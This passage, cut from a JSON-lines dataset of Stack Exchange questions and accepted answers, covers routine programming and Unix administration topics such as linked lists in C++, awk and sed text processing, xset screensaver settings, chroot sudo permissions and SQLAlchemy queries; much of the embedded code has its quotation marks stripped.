]; then #posix compliant condition testsif [[ ... ]]; then #extended condition testsIt seems the extended condition tests work differently than the posix ones.> if [ -n $unsetVar ];then echo yes ; fiyes>> if [ -n $unsetVar ];then echo yes ; fi>> if [[ -n $unsetVar ]];then echo yes ; fi>either use the extended conditions for both [[ ... ]] or wrap your variable in quotations. Currently your elif statement is always true."  } 
{  "id": "_codereview.171125"  , "question": "I have written the code for linked list in c++. It has function list_search(int)which returns the node of the given number. list_insertfront(int) inserts the first element. list_insert(int) inserts the element. list_delete(int) deletes the element after searching its node.#include <iostream>class double_list{  struct Node{       int data;       struct Node *next; //next will hold the address and *next will show value at that address       struct Node *prev; //prev will hold the address and *prev will show value at that address    } *head; public:    double_list(){    head=NULL; // all address in head are initialised to NULL    }     void list_insert(int);     void list_insertfront(int);     struct Node *list_search(int n){        Node *node =new Node();        node=head;        while(node!=NULL){            if(node->data==n) return node;        node=node->next;}        std::cout<<No such elementin the list \\n;   }    void list_delete(int);    void display();};void double_list::list_insertfront(int n){Node *node=new Node();node->data=n;node->next=head;head=node;node->prev=NULL;}void double_list::list_insert(int n){   Node *node =new Node();   Node *temp =new Node();   node->data=n;   node->next=NULL;   temp=head;   while(temp){    if(temp->next==NULL){        temp->next=node;        break;        }        temp=temp->next;   }}void double_list::list_delete(int n){   Node *node=list_search(n);//to search node of the given number   Node *temp=new Node();   temp=head;   if(temp==node){    head=temp->next;   }   while(node!=NULL){      if(temp->next==node) temp->next=node->next;      temp=temp->next;      return;       }}void double_list::display(){    Node *node=new Node();    node =head;   while(node!=NULL){        std::cout<<node->data<< ;        node=node->next;    }}int main(){    double_list list1;   list1.list_insertfront(5);    list1.list_insert(1);    list1.list_insert(6);    list1.list_insert(7);    list1.display();    list1.list_delete(1);    std::cout<<\\n;    list1.display();    std::cout<<\\n;    return 0;}What should I do to improve this code."  , "title": "C++: Doubly linked list"  , "tags": "c++;linked list"  } 
{  "id": "_unix.302185"  , "question": "I am using a CentOS via VNC and the using vim editor, where the color scheme looks something like this..What is the name of this color scheme ? Where I can get the properties of the same ?In Windows 7, I am using MobaXterm and want to use the same color scheme shown above. Using Settings->Configuration->Terminal->Default color scheme->Customize  option, how I can configure the above color scheme in MobaXterm ?"  , "title": "Customize MobaXterm color scheme"  , "tags": "shell;vim;colors"  } 
{  "id": "_unix.258753"  , "question": "I have a data file looks like :1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 3 3 3 3 3  . . .1 0 4 4 3 1 2 0 0 0 3 1 1 2 1 1 1 1 1 1 0 1 1 3  . . .0 0 0 0 0 0 0 3 3 1 1 2 3 2 1 2 2 3 1 2 3 1 2 2  . . .          ...first I want to insert space among each 5 identical values keeping each 5 identical numbers together in one colum by looking at the first row and then I do not want anz space among those group characters: first step:1 1 1 1 1  1 1 1 1 1  1  2 2 2 2 2  2 2 2  3 3 3 3 3  . . .1 0 4 4 3  1 2 0 0 0  3  1 1 2 1 1  1 1 1  1 0 1 1 3  . . .0 0 0 0 0  0 0 3 3 1  1  2 3 2 1 2  2 3 1  2 3 1 2 2  . . .          ...secouns step (output):11111  11111  1  22222  222  33333  . . .10443  12000  3  11211  111  10113  . . .00000  00331  1  23212  231  23122  . . .          ...Meanwhile in my real data which is huge I may want to try different group sizes. So I need the script to be flexible ..any suggestion please?"  , "title": "How to group a bunch of rows based on information from the first row?"  , "tags": "shell;sed;awk;perl"  , "accepted_answer": "Other variant with awkawk '    NR==1{        for(i=2;i<=NF;i++){            count++            if($(i-1)!=$i || count>4){                D[i]=1                count=0            }        }     }     {        for(i in D)            $i= $i            print     }     ' OFS= data.file >new.fileAnd sedsed -re '    s/ +//g;s/^/\\n/    ' -f <(        sed -r '            s/(. )\\1*/s_\\\\n(&)_\\n/g            s/\\S /./g            s/\\n\\s*/\\\\1 \\\\n_\\n/g            s/\\\\n[^\\n]*\\n$/ \\\\n__/            1q        ' data.file        ) -e '    s/\\S{5}/& /g    ' data.file >new.file"  } 
{  "id": "_unix.10646"  , "question": "There's a built-in Unix command repeat whose first argument is the number of times to repeat a command, where the command (with any arguments) is specified by the remaining arguments to repeat.For example,% repeat 100 echo I will not automate this punishment.will echo the given string 100 times and then stop.I'd like a similar command  let's call it forever  that works similarly except the first argument is the number of seconds to pause between repeats, and it repeats forever.  For example,% forever 5 echo This will get echoed every 5 seconds forever and ever.I thought I'd ask if such a thing exists before I write it. I know it's like a 2-line Perl or Python script, but maybe there's a more standard way to do this. If not, feel free to post a solution in your favorite scripting language, Rosetta Stone style.PS: Maybe a better way to do this would be to generalize repeat to take both the number of times to repeat (with -1 meaning infinity) and the number of seconds to sleep between repeats.The above examples would then become:% repeat 100 0 echo I will not automate this punishment.% repeat -1 5 echo This will get echoed every 5 seconds forever."  , "title": "Repeat a Unix command every x seconds forever"  , "tags": "command line;scripting"  } 
{  "id": "_unix.350459"  , "question": "After creating a few snapshots in a lxd container using lxc snapshot I cannot find a way to list those snapshots. lxc list lists only containers, not the snapshots of each container. How can I list the names of all snapshots of a container? Thanks."  , "title": "List snapshots of a lxd container"  , "tags": "lxd"  , "accepted_answer": "You can list the snapshots for a container named example with:lxc info example --verbose"  } 
{  "id": "_softwareengineering.291672"  , "question": "I'm new to Node and JavaScript (well, asynchronous programming in general) and I noticed when I was working on a project that the following code is a circular pattern and that these are bad practice for the obvious reason that the module might not have loaded yet (and the example code is throwing errors because of that).Here's my code:Main modulevar module2 = require('./module2');var data = 'data';module2.fetchStuff(data);Module2var module3 = require('./module3');var cleanDataArray = [];function fetchStuff(data){    // Fetches stuff based on data    module3.cleanStuff(data);}function takeStuffBack(data){    cleanData.push(data);}module.exports = {    fetchStuff: fetchStuff,    takeStuffBack: takeStuffBack,    cleanData: cleanDataArray};Module3var module2 = require('./module2');function cleanStuff(data){    // Clean data from needless stuff    module2.takeStuffBack(data); // I get a TypeError here because `module2` is yet to fully load.}module.exports = {    cleanStuff: cleanStuff};The XYWhat this structure is supposed to do is for the start module to call a fetching function in module2, the fetching function needs to wash the data in the 3rd module before taking it back and providing it for whatever wants to export it. So I suppose the XY is that I need to do is to get data from a 3rd party API and then clean the data from the things it contains but I don't want, and then I need to make that clean version available to the rest of the application.What other ways are there to do this in a better manner, without a circular pattern such as this which is broken because module2 won't load before module3 tries to call it?"  , "title": "How to avoid circular patterns in Node?"  , "tags": "design patterns;javascript;node.js"  } 
{  "id": "_softwareengineering.138520"  , "question": "I am contemplating paying a software consulting firm to provide my company with some enhancements to a piece of software that is licensed under the Eclipse Public License (EPL).  I'm wondering what rights we will have to what they produce, and whether they can tie us to paying them royalties forever.What rights we will have to modify and redistribute what they provide us?Can they insist on a royalty payment when we distribute it to 3rd parties?Before I start negotiating, I need to understand what we're getting - and ideally get this sort of thing explicitly agreed in the contract.I know I should consult a lawyer."  , "title": "What are the restrictions on derived works of EPL licensed software?"  , "tags": "licensing"  } 
{  "id": "_unix.98921"  , "question": "I've noticed this when trying to watch movies on that laptop running eOS. After 10 minutes or so the display is turned down. I've looked for settings against this and found the following:Power setting: put the computer to sleep: I set that to 'Never'. But it couldn't be this setting, my problem being that the display is shut, not that the computer is put to sleep.Brightness and lock: Brightness: Turn screen off when inactive for: set that to 'Never'. That should be it but it does not work.   Because I'd experienced a similar issue with GUI settings for display not being followed in another Ubuntu based distro - Xfce - reported here - I imagined also that a screensaver setting was the matter. I've found a situation similar to that and tried that solution. Only that, unlike in Xfce, now a gnome-screensaver was installed but without accessible GUI settings for it. So, it looked like a certain blank-screen screensaver was active in the background. To get a GUI for screensaver I installed xscreensaver. When starting that I was prompted that gnome-screensaver was already running and asked to shut it down. Said yes and then disabled screensaver in Xscreensaver.  Afterwards I also uninstalled gnome-screensaver, but the same problem would still reappear."  , "title": "Display shuts down while watching a movie after 10 minutes no matter the settings in Elementary OS"  , "tags": "gui;display settings;screensaver;display;elementary os"  , "accepted_answer": "BackgroundThere are 2 solutions that were determined for this particular problem. The 1st involved launching xscreensaver, and disabling it so that no screensaver is configured. The 2nd method involved completely disabling the screensaver in X altogether, through the use of the xset command.Solution #1A solution with a narrow scope (by cipricus) is that of adding a fourth step to those included in the answer.Install xscreensaverRemove gnome-screensaverSet Xscreensaver NOT to use any screensaver ('Disable screensaver')Add xscreensaver in the startup programs list. The command to add is:xscreensaver -no-splashThis solution was suggested by the fact that this message appeared when starting xscreensaver before adding the fourth step:                    Further instructions came from this source. NOTE: To add a program to startup list in eOS, go to System Settings > Stertup Applications > AddSolution #2A solution with a wider scope by slm:xsetCheck to see what the xset setting is for screen blanking as well. You can check using this command:$ xset qWe're specifically interested in this section of the output from the above command:$ xset q...Screen Saver:  prefer blanking:  yes    allow exposures:  yes  timeout:  600    cycle:  600...Disabling screensaverYou can change these settings like this:$ xset s off$ xset s noblankConfirm by running xset q again:$ xset q...Screen Saver:  prefer blanking:  no    allow exposures:  yes  timeout:  0    cycle:  600...DPMSYou might also need to disable power management as well, that's the DPMS settings in the xset q output:$ xset q...DPMS (Energy Star):  Standby: 0    Suspend: 0    Off: 0  DPMS is Enabled  Monitor is On...Disable it like so:$ xset -dpmsConfirm:$ xset q...DPMS (Energy Star):  Standby: 0    Suspend: 0    Off: 0  DPMS is Disabled...Re-enabling featuresYou can re-enable these features at any time with these commands$ xset s blank       # blanking screensaver$ xset s 600 600     # five minute interval$ xset +dpms         # enable power managementConfirming changes:$ xset q...Screen Saver:  prefer blanking:  yes    allow exposures:  yes  timeout:  600    cycle:  600......DPMS (Energy Star):  Standby: 0    Suspend: 0    Off: 0  DPMS is Enabled  Monitor is On..."  } 
{  "id": "_codereview.24891"  , "question": "I use this code to Load and Insert data to a table using a DataGridView in a C# windows application.        SqlCommand sCommand;        SqlDataAdapter sAdapter;        SqlCommandBuilder sBuilder;        DataSet sDs;        DataTable sTable;          private void form1_Load(object sender, EventArgs e)            {                    string connectionString = Data Source=.\\\\SQLEXPRESS;AttachDbFilename=|DataDirectory|\\\\Database1.mdf;Integrated Security=True;User Instance=True;                string sql = SELECT * FROM mytable;                SqlConnection connection = new SqlConnection(connectionString);                connection.Open();                sCommand = new SqlCommand(sql, connection);                sAdapter = new SqlDataAdapter(sCommand);                sBuilder = new SqlCommandBuilder(sAdapter);                sDs = new DataSet();                sAdapter.Fill(sDs, mytable);                sTable = sDs.Tables[mytable];                connection.Close();                dataGridView1.DataSource = sDs.Tables[mytable];                dataGridView1.ReadOnly = true;                save_btn.Enabled = false;                dataGridView1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;            }            private void new_btn_Click(object sender, EventArgs e)            {                dataGridView1.ReadOnly = false;                save_btn.Enabled = true;                new_btn.Enabled = false;                delete_btn.Enabled = false;            }            private void delete_btn_Click(object sender, EventArgs e)            {                if (MessageBox.Show(Are you sure?, Delete, MessageBoxButtons.YesNo) == DialogResult.Yes)                {                    dataGridView1.Rows.RemoveAt(dataGridView1.SelectedRows[0].Index);                    sAdapter.Update(sTable);                }            }            private void save_btn_Click(object sender, EventArgs e)            {                sAdapter.Update(sTable);                dataGridView1.ReadOnly = true;                save_btn.Enabled = false;                new_btn.Enabled = true;                delete_btn.Enabled = true;            }        }It's ok and works, but when I try to work with a query that has a condition then no rows are added to the DataGrid and MyTable anymoresql = SELECT * FROM mytable where col2 = 1;"  , "title": "Insert to datagridview when SELECT query has WHERE condition"  , "tags": "c#;.net;sql;winforms"  } 
{  "id": "_unix.319236"  , "question": "i have a problem.I want to make a bash script that writes data to new column every time i run script.For example every week i check how many files in each folder i have.find /home/user/admin/stuff/ -mtime -7 | wc -l >> results.xlsfind /home/user/admin/old/ -mtime -7 | wc -l >> results.xlsI run script every Monday, but i don't want to overwrite data. I need that new data will be in new column.For example:Week1 Week2 Week3 ...  2     3     5  1     2     3"  , "title": "New column every time i run script"  , "tags": "text processing;text formatting"  , "accepted_answer": "#!/bin/bashoutput_file=/tmp/results.xls[ ! -f ${output_file} ] && echo -e \\n\\n\\n > ${output_file}stuff_count=$(find /home/user/admin/stuff/ -mtime -7 | wc -l)old_count=$(find /home/user/admin/old/ -mtime -7 | wc -l)now=$(date +%y%m%d)sed -i 1 s/$/\\t$now/ /tmp/out.txtsed -i 2 s/$/\\t$stuff_count/ /tmp/out.txtsed -i 3 s/$/\\t$old_count/ /tmp/out.txt"  } 
{  "id": "_unix.148835"  , "question": "I am specifically looking for is dynamic formatting of output. In every terminal emulator I can remember having used in Linux, when some program prints to the screen, the output gets formatted to fit to the terminal window so that longer lines will wrap around. If I then change the width of the window, the previous wrapped around formatting still remains.On OSX, Terminal.app acts differently. The text is still formatted for the current size of window just as on Linux terminal emulators. However if I re-size the window, the text is automatically reformatted to match the new dimensions.This is super useful when, after the running a utility, I realize that I didn't make the window wide enough to show all the output clearly. On an especially slow running utility, it can be frustrating to need to run everything all over again only to get better formatting. I could redirect the output to a program like less, view or gview. However this just feels like too much work to do every time I run a utility that might not format well with the current window dimensions. Also, as far as I know less doesn't support bash style text coloration.Does anyone know of a Linux terminal emulator that has this behavior? It doesn't need to be out of the box behavior; I am willing to monkey with configuration settings to get something like this working. I have already poked around a number of terminal emulators on Linux to see if they support this, but I don't really have the time to try every single one of them. There are just too many! If truly no program exists that does this, is it because no one is trying to create this behavior? Is there some technical limitation on Linux in specific that does not allow this (don't see how this could be the case)?"  , "title": "Dynamic text wrapping of terminal output"  , "tags": "terminal"  } 
{  "id": "_softwareengineering.332554"  , "question": "I have a node.js server for an API that is split between controllers and models (there is a router which is autopopulated on runtime). So for example here is a classic end point for fetching config data:controllerimport config from '../models/config';let routes = {  '/v1/config/:key':  {    get: async function (next) {      let value = await config.get(this.params.key);      this.body = {        key: this.params.key,        value: value      };      return;    }  }}modelimport datastore from 'nedb-promise';import conf from '../../../config';import mkdirp from 'mkdirp';mkdirp(conf.baseDir + '/data/')const db = new datastore(config.baseDir + '/data/config.db');const config = {  get: async (key) => {    const res = await db.find({key: key});    return {      key: res[0].key,      value: res[0].value    };  },  getValue: async (key, defVal) => {    return config.get(key).value || defVal;  },  insert: async (key, value) => {    doc = {      key: key,      value: value    };    return db.insert(doc);  }}So for example the model tranforms the databases data into sendable data. What it does here is very basic, it simply create a new object with intended keys, therefore removing  the _idkey. The getKeyfunction is a shorthand intended internally to fetch config keys in the backend. (please keep in mind this code might contains some error I havent tested it yet).But the tranformation could be more complex, from validating input values, pre processing request result or populating 1-1 or 1-to-many relations if the database won't do it automatically. So who should do those kinds of operations? The model or the controller? In my case, if the model is doing it the code would loose its reusability, because in my example the _idfield is removed, and may be some internal backend code would need it. I would then need to create another function, which would be a little more complicated. Further more, my controller would be small in terms of lines of code compared to the model. Plus, this would increase coupling between datastore and the app, and if I wanted to provide different database provider according to the user's need I would need to duplicated the transform code.On the other hand, if the controller is doing it I would loose all my transformation steps or input validations.What about error handling? Here is an example of an expected return body (in my tests, which I wrote before writing the API) in case of a duplicated entry in the controller: {    success: false,    status: 400,    data: {      error_message: 'A config entry already exists with this key',      error_code: 'EDUPENTRY'    }  }Who should generate this object? The controller or the model?"  , "title": "When splitting a Node.JS server between model and controllers, who should tranform the data for the database to understand?"  , "tags": "architecture;api;node.js;model;controller"  } 
{  "id": "_webapps.97389"  , "question": "On Quora, the author of an answer may delete any comment left on their answer. Is there a way for a user to retrieve their comment on an answer that the answer's author deleted?"  , "title": "Is there a way to retrieve a comment on an answer that the answerer deleted on Quora?"  , "tags": "quora"  , "accepted_answer": "No, as of now there is no way to retrieve comment if answer's author has deleted the comment."  } 
{  "id": "_unix.58049"  , "question": "I would like to be able to use the sudo command in a chroot environment. I start the chroot as follows:chroot /debian-squeeze /bin/bashNow I'm logged in as root in the chroot. I can do su user to log in as a user named user. Now, sudo does not work:user@HD:/$ sudo lssudo: must be setuid rootSome diagnostics:user@HD:/$ which sudo/usr/bin/sudouser@HD:/$ ls -al /usr/bin/sudo-rwsr-xr-x 2 root root 143884 May 23  2012 /usr/bin/sudouser@HD:/$ ls -aln /usr/bin/sudo-rwsr-xr-x 2 0 0 143884 May 23  2012 /usr/bin/sudoroot@HD:/# cat /etc/sudoersDefaults    env_resetroot    ALL=(ALL) ALLuser ALL=(ALL) ALL%sudo ALL=(ALL) ALLAs root, I can execute sudo without error.Can anyone explain me why sudo (or setuid) does not work like this?"  , "title": "Sudo does not work in chroot"  , "tags": "linux;sudo;chroot"  , "accepted_answer": "My guess is that /debian-squeeze is on a separate filesystem mounted without defaults or suid. The kernel will ignore the setuid bit on filesystems mounted without suid (defaults implies suid). To fix it:mount -o remount,suid /debian-squeeze"  } 
{  "id": "_softwareengineering.128888"  , "question": "When I began to use parser combinators my first reaction was a sense of liberation from what felt like an artificial distinction between parsing and lexing.  All of a sudden everything was just parsing!However, I recently came across this posting on codereview.stackexchange illustrating someone reinstating this distinction.  At first I thought this was very silly of them, but then the fact that functions exist in Parsec to support this behavior leads me to question myself.What are the advantages/disadvantages to parsing over an already lexed stream in parser combinators?"  , "title": "Are separate parsing and lexing passes good practice with parser combinators?"  , "tags": "parsing;lexer;parser combinator"  } 
{  "id": "_unix.147516"  , "question": "In pycharm, there is an option to upload changes to a remote svn repository. However, it does not ask for password. How do I provide it?"  , "title": "subversion not working with pycharm"  , "tags": "python;subversion"  } 
{  "id": "_softwareengineering.158217"  , "question": "I'm working on a project in which I'm considering using a hybrid of interfaces and composition as a single thing.What I mean by this is having a contain*ee* class be used as a front for functionality implemented in a contain*er* class, where the container exposes the containee as a public property.Example (pseudocode):class Visibility(lambda doShow, lambda doHide, lambda isVisible)    public method Show() {...}    public method Hide() {...}    public property IsVisible    public event Shown    public event Hiddenclass SomeClassWithVisibility    private member visibility = new Visibility(doShow, doHide, isVisible)    public property Visibility with get() = visibility    private method doShow() {...}    private method doHide() {...}    private method isVisible() {...}There are three reasons I'm considering this:The language in which I'm working (F#) has some annoyances w.r.t. implementing interfaces the way I need to (unless I'm missing something) and this will help avoid a lot of boilerplate code.The containee classes could really be considered properties of the container class(es); i.e. there seems to be a fairly strong has-a relationship.The containee classes will likely implement code which would have been pretty much the same when implemented in all the container classes, so why not do it once in one place? In the above example, this would include managing and emitting the Shown/Hidden events.Does anyone see any isseus with this Composiface/Intersition method, or know of a better way?EDIT 2012.07.26 - It seems a little background information is warranted:Where I work, we have a bunch of application front-ends that have limited access to system resources -- they need access to these resources to fully function. To remedy this we have a back-end application that can access the needed resources, with which the front-ends can communicate. (There is an API written for the front-ends for accessing back-end functionality as though it were part of the front-end.)The back-end program is out of date and its functionality is incomplete. It has made the transition from company to company a couple of times and we can't even compile it anymore. So I'm trying to rewrite it in my spare time.I'm trying to update things to make a nice(r) interface/API for the front-ends (while allowing for backwards compatibility with older front-ends), hopefully something full of OOPy goodness. The thing is, I don't want to write the front-end API after I've written pretty much the same code in F# for implementing the back-end; so, what I'm planning on doing is applying attributes to classes/methods/properties that I would like to have code for in the API then generate this code from the F# assembly using reflection.The method outlined in this question is a possible alternative I'm considering instead of implementing straight interfaces on the classes in F# because they're kind of a bear: In order to access something of an interface that has been implemented in a class, you have to explicitly cast an instance of that class to the interface type. This would make things painful when getting calls from the front-ends. If you don't want to have to do this, you have to call out all of the interface's methods/properties again in the class, outside of the interface implementation (which is separate from regular class members), and call the implementation's members. This is basically repeating the same code, which is what I'm trying to avoid!"  , "title": "Is this Hybrid of Interface / Composition kosher?"  , "tags": "interfaces;composition"  } 
{  "id": "_unix.30531"  , "question": "I just realised that I can move a file that I do not own and don't have write permissions on. I have write permissions to the directory, so I am guessing that is why I could move it, but in this instance, is there anyway of protecting the source file? The permissions for the file are as follows;cgi-bin> ls -al drwxrwxrwx   3 voyager  endeavor     512 Feb  1 10:45 .drwxrwxrwx   6 voyager  endeavor     512 Feb  1 09:38 ..-rwxr-xr-x   1 voyager  endeavor   22374 Feb  1 10:45 webvoyage_link.cgicgi-bin> whoamimoorccgi-bin> groupslrsn endeavorcgi-bin> rm webvoyage_link.cgirm: webvoyage_link.cgi: override protection 755 (yes/no)? yesThis last one is a big surprise to me to. How can I delete a file that I don't have access to. There is obviously something I'm missing."  , "title": "mv file without write permission to the source file"  , "tags": "permissions;files;directory;rename;rm"  , "accepted_answer": "Move (mv) is essentially an attribute-preserving copy followed by a deletion (rm), as far as permissions are concerned.1  Unlinking or removing a file means removing its directory entry from its containing directory.  You are writing to the directory, not the file itself, hence no write permissions are necessary on the file.  Most systems support the semantics of the sticky bit on directories (chmod +t dir/), which when set only allows file owners to remove files within that directory.  Setting the sticky bit on cgi-bin/ would mean moorc can no longer unlink files in cgi-bin that belong to voyager.1 In general, when the destination is in the same filesystem as the source, there is no physical copy.  Instead, a new link is made to the file in the destination directory, but the same general concept still holds that the file itself does not change.For more reading, look at this article explains how file and directory permissions (including the sticky bit) affect system calls.PostscriptI ran across an amusing analogy I really liked in a comment by @JorgWMittag on another question on this site.ExcerptIt is identical to how an actual, real-life directory works, which is why it's called directory, and not, for example, folder, which would behave quite differently. If I want to delete someone from my phone directory, I don't go to her house and kill her, I simply take a pen and strike through her number. IOW: I need write access to the directory, and no access to her. The analogy does break down a bit if you try to stretch it, because there's no effective way to describe the situation where the filesystem implementation automatically frees a file's disk blocks once the number of directory entries pointing to it drops to zero and all of its open handles are closed.  "  } 
{  "id": "_unix.340715"  , "question": "What is the origin of the letter d in dmesg?Wikipedia says:dmesg (display message or driver message)No reference are given for this assertion - it could just as well be debug message.What is the etymology of dmesg?"  , "title": "What does the 'd' mean in dmesg?"  , "tags": "history;dmesg"  , "accepted_answer": "No reference are given for this assertion - it could just as well be debug message.Not all the messages are for debugging. Some are purely informational. From the dmesg manual page (emphasis added):The default action is to display all messages from the kernel ring buffer.Update: Alternatively, d is from diagnostic. See: Why is dmesg called dmesg?."  } 
{  "id": "_unix.115304"  , "question": "I need a notifier such that:It is possible to send messages from one machine to another without any password (like in case of notify-send). Correct me if I'm wrong.It is such that only when a user clicks on cross button that it closes.I found Dunst while searching. it needs basic packages.dbuslibxineramalibxftlibxsslibxdg-basedirout of which, I'm not able to get libxdg-basedir installed on my system. I tried searching for it, but there aren't any packages available for CentOS. Question: is it possible to compile and install Dunst (or a notifier) on CentOS? If so how?"  , "title": "Dunst notifier on CentOS"  , "tags": "linux;notifications"  } 
{  "id": "_webapps.40864"  , "question": "How can I have integrated translation of Facebook posts from English to another language in my browser? I have seen that in some cases, Facebook adds a Translate link, but not in my non-English account."  , "title": "How can I get my Facebook posts translated from English to another language?"  , "tags": "facebook"  } 
{  "id": "_codereview.18978"  , "question": "In SQL there is no way to do an INSERT... SELECT. If you want to do it without using raw SQL in several places of your code you can create custom SQL compilation.There is an example about how to do INSERT...SELECT in SA documentation. This example doesn't support column in the INSERT part of the sentence, some thing like: INSERT into table(col1, col2)....I've modified the example to that, this support table (INSERT INTO table (SELECT...)) or columns (INSERT INTO table (col1, col2) (SELECT...).Please, have a look an comment :)from sqlalchemy.sql.expression import Executable, ClauseElementfrom sqlalchemy.ext.compiler import compilesclass InsertFromSelect(Executable, ClauseElement):    def __init__(self, insert_spec, select):        self.insert_spec = insert_spec        self.select = select@compiles(InsertFromSelect)def visit_insert_from_select(element, compiler, **kw):    if type(element.insert_spec) == list:        columns = []        for column in element.insert_spec:            if element.insert_spec[0].table != column.table:                raise Exception(Insert columns must belong to the same table)            columns.append(compiler.process(column, asfrom=True))        table = compiler.process(element.insert_spec[0].table)        columns = , .join(columns)        sql = INSERT INTO %s (%s) (%s) % (                table, columns,                compiler.process(element.select))    else:        sql = INSERT INTO %s (%s) % (                compiler.process(element.insert_spec, asfrom=True),                compiler.process(element.select))    return sqlExample of its use with columns:InsertFromSelect([dst_table.c.col2, dst_table.c.col1], select([src_table.c.col1, src_table.c.col1]))Example of its use only with a table:InsertFromSelect(dst_table, select(src_table]))This works for me, but I want to hear other opinions."  , "title": "SQLAlchemy - InsertFromSelect with columns support"  , "tags": "python;sql"  } 
{  "id": "_codereview.984"  , "question": "I am been using a code pattern for recursive database actions in my applications.I create two class objects of a database table, singular one (e.g Agent) for holding single record with all fields definition, plural one (e.g Agents) for database actions of that records like, select, insert, delete, update etc. I find it easy using the code pattern.But as the time runs I find it somewhat laborious to define same database action functions in different classes only differing in datatype.How can I make it good and avoid defining it again and again?Sample code of a class file representing the class definition:Imports EssenceDBLayerPublic Class Booking#Region Constants    Public Shared _Pre As String = bk01    Public Shared _Table As String = bookings#End Region#Region  Instance Variables     Private _UIN As Integer = 0    Private _Title As String =     Private _Email As String =     Private _contactPerson As String =     Private _Telephone As String =     Private _Mobile As String =     Private _Address As String =     Private _LastBalance As Double = 0#End Region#Region  Constructor     Public Sub New()        'Do nothing as all private variables has been initiated'    End Sub    Public Sub New(ByVal DataRow As DataRow)        _UIN = CInt(DataRow.Item(_Pre & UIN))        _Title = CStr(DataRow.Item(_Pre & Title))        _Email = CStr(DataRow.Item(_Pre & Email))        _contactPerson = CStr(DataRow.Item(_Pre & contact_person))        _Telephone = CStr(DataRow.Item(_Pre & Telephone))        _Mobile = CStr(DataRow.Item(_Pre & Mobile))        _Address = CStr(DataRow.Item(_Pre & Address))        _LastBalance = CDbl(DataRow.Item(_Pre & Last_Balance))    End Sub#End Region#Region  Properties     Public Property UIN() As Integer        Get            Return _UIN        End Get        Set(ByVal value As Integer)            _UIN = value        End Set    End Property    Public Property Title() As String        Get            Return _Title        End Get        Set(ByVal value As String)            _Title = value        End Set    End Property    Public Property Email() As String        Get            Return _Email        End Get        Set(ByVal value As String)            _Email = value        End Set    End Property    Public Property ContactPerson() As String        Get            Return _contactPerson        End Get        Set(ByVal value As String)            _contactPerson = value        End Set    End Property    Public Property Telephone() As String        Get            Return _Telephone        End Get        Set(ByVal value As String)            _Telephone = value        End Set    End Property    Public Property Mobile() As String        Get            Return _Mobile        End Get        Set(ByVal value As String)            _Mobile = value        End Set    End Property    Public Property Address() As String        Get            Return _Address        End Get        Set(ByVal value As String)            _Address = value        End Set    End Property    Public Property LastBalance() As Double        Get            Return _LastBalance        End Get        Set(ByVal value As Double)            _LastBalance = value        End Set    End Property#End Region#Region  Methods     Public Sub [Get](ByRef DataRow As DataRow)        DataRow(_Pre & Title) = _Title        DataRow(_Pre & Email) = _Email        DataRow(_Pre & Contact_person) = _contactPerson        DataRow(_Pre & Telephone) = _Telephone        DataRow(_Pre & Mobile) = _Mobile        DataRow(_Pre & Address) = _Address        DataRow(_Pre & last_balance) = _LastBalance    End Sub#End RegionEnd ClassPublic Class Bookings    Inherits DBLayer#Region Constants    Public Shared _Pre As String = bk01    Public Shared _Table As String = bookings#End Region#Region  Standard Methods     Public Shared Function GetData() As List(Of Booking)        Dim QueryString As String = String.Format(SELECT * FROM {0}{1} ORDER BY {0}UIN;, _Pre, _Table)        Dim Dataset As DataSet = New DataSet()        Dim DataList As List(Of Booking) = New List(Of Booking)        Try            Dataset = Query(QueryString)            For Each DataRow As DataRow In Dataset.Tables(0).Rows                DataList.Add(New Booking(DataRow))            Next        Catch ex As Exception            DataList = Nothing            SystemErrors.Create(New SystemError(ex.Message, ex.StackTrace))        End Try        Return DataList    End Function    Public Shared Function GetData(ByVal uin As String) As Booking        Dim QueryString As String = String.Format(SELECT * FROM {0}{1} WHERE {0}uin = {2};, _Pre, _Table, uin)        Dim Dataset As DataSet = New DataSet()        Dim Data As Booking = New Booking()        Try            Dataset = Query(QueryString)            If Dataset.Tables(0).Rows.Count = 1 Then                Data = New Booking(Dataset.Tables(0).Rows(0))            Else                Data = Nothing            End If        Catch ex As Exception            Data = Nothing            SystemErrors.Create(New SystemError(ex.Message, ex.StackTrace))        End Try        Return Data    End Function    Public Shared Function Create(ByVal Data As Booking) As Boolean        Dim QueryString As String = String.Format(SELECT * FROM {0}{1} WHERE {0}uin = Null;, _Pre, _Table)        Dim Dataset As DataSet = New DataSet()        Dim Datarow As DataRow        Dim Result As Boolean = False        Try            Dataset = Query(QueryString)            If Dataset.Tables(0).Rows.Count = 0 Then                Datarow = Dataset.Tables(0).NewRow()                Data.Get(Datarow)                Dataset.Tables(0).Rows.Add(Datarow)                Result = UpdateDB(QueryString, Dataset)            Else                Result = False            End If        Catch ex As Exception            Result = False            SystemErrors.Create(New SystemError(ex.Message, ex.StackTrace))        End Try        Return Result    End Function    Public Shared Function Update(ByVal Data As Booking) As Boolean        Dim QueryString As String = String.Format(SELECT * FROM {0}{1} WHERE {0}uin = {2};, _Pre, _Table, Data.UIN)        Dim Dataset As DataSet = New DataSet()        Dim Result As Boolean = False        Dim DataRow As DataRow = Nothing        Try            Dataset = Query(QueryString)            If Dataset.Tables(0).Rows.Count = 1 Then                DataRow = Dataset.Tables(0).Rows(0)                Data.Get(DataRow)                Result = UpdateDB(QueryString, Dataset)            Else                Result = False            End If        Catch ex As Exception            Result = False            SystemErrors.Create(New SystemError(ex.Message, ex.StackTrace))        End Try        Return Result    End Function    Public Shared Function UpdateBulk(ByRef DataList As List(Of Booking)) As Boolean        Dim Result As Boolean = False        Try            For Each Data As Booking In DataList                Update(Data)            Next            Result = True        Catch ex As Exception            SystemErrors.Create(New SystemError(ex.Message, ex.StackTrace))        End Try        Return Result    End Function    Public Shared Function FillGrid() As List(Of Booking)        Return GetData()    End Function#End RegionEnd Class"  , "title": "Recursive database actions"  , "tags": "object oriented;.net;database;vb.net"  , "accepted_answer": "What you're talking about is called object-relational mapping.You could do this, but it will be a fair amount of effort. Luckily many people have run into this same question before, answered it and open-sourced that solution. I suggest looking at using one of those solutions.nHibernate is just one example but is a popular and mature solution.Edit: More accurately, object-relational mapping is mapping fields to columns, objects to tables and object relationships to table relationships, so it does exactly what you want and (optionally) much more."  } 
{  "id": "_unix.66195"  , "question": "Does sane have a technical definition in a unix / linux context?I mean in situations such as this:checking whether build environment is sane... yes"  , "title": "Definition of sane"  , "tags": "terminology"  } 
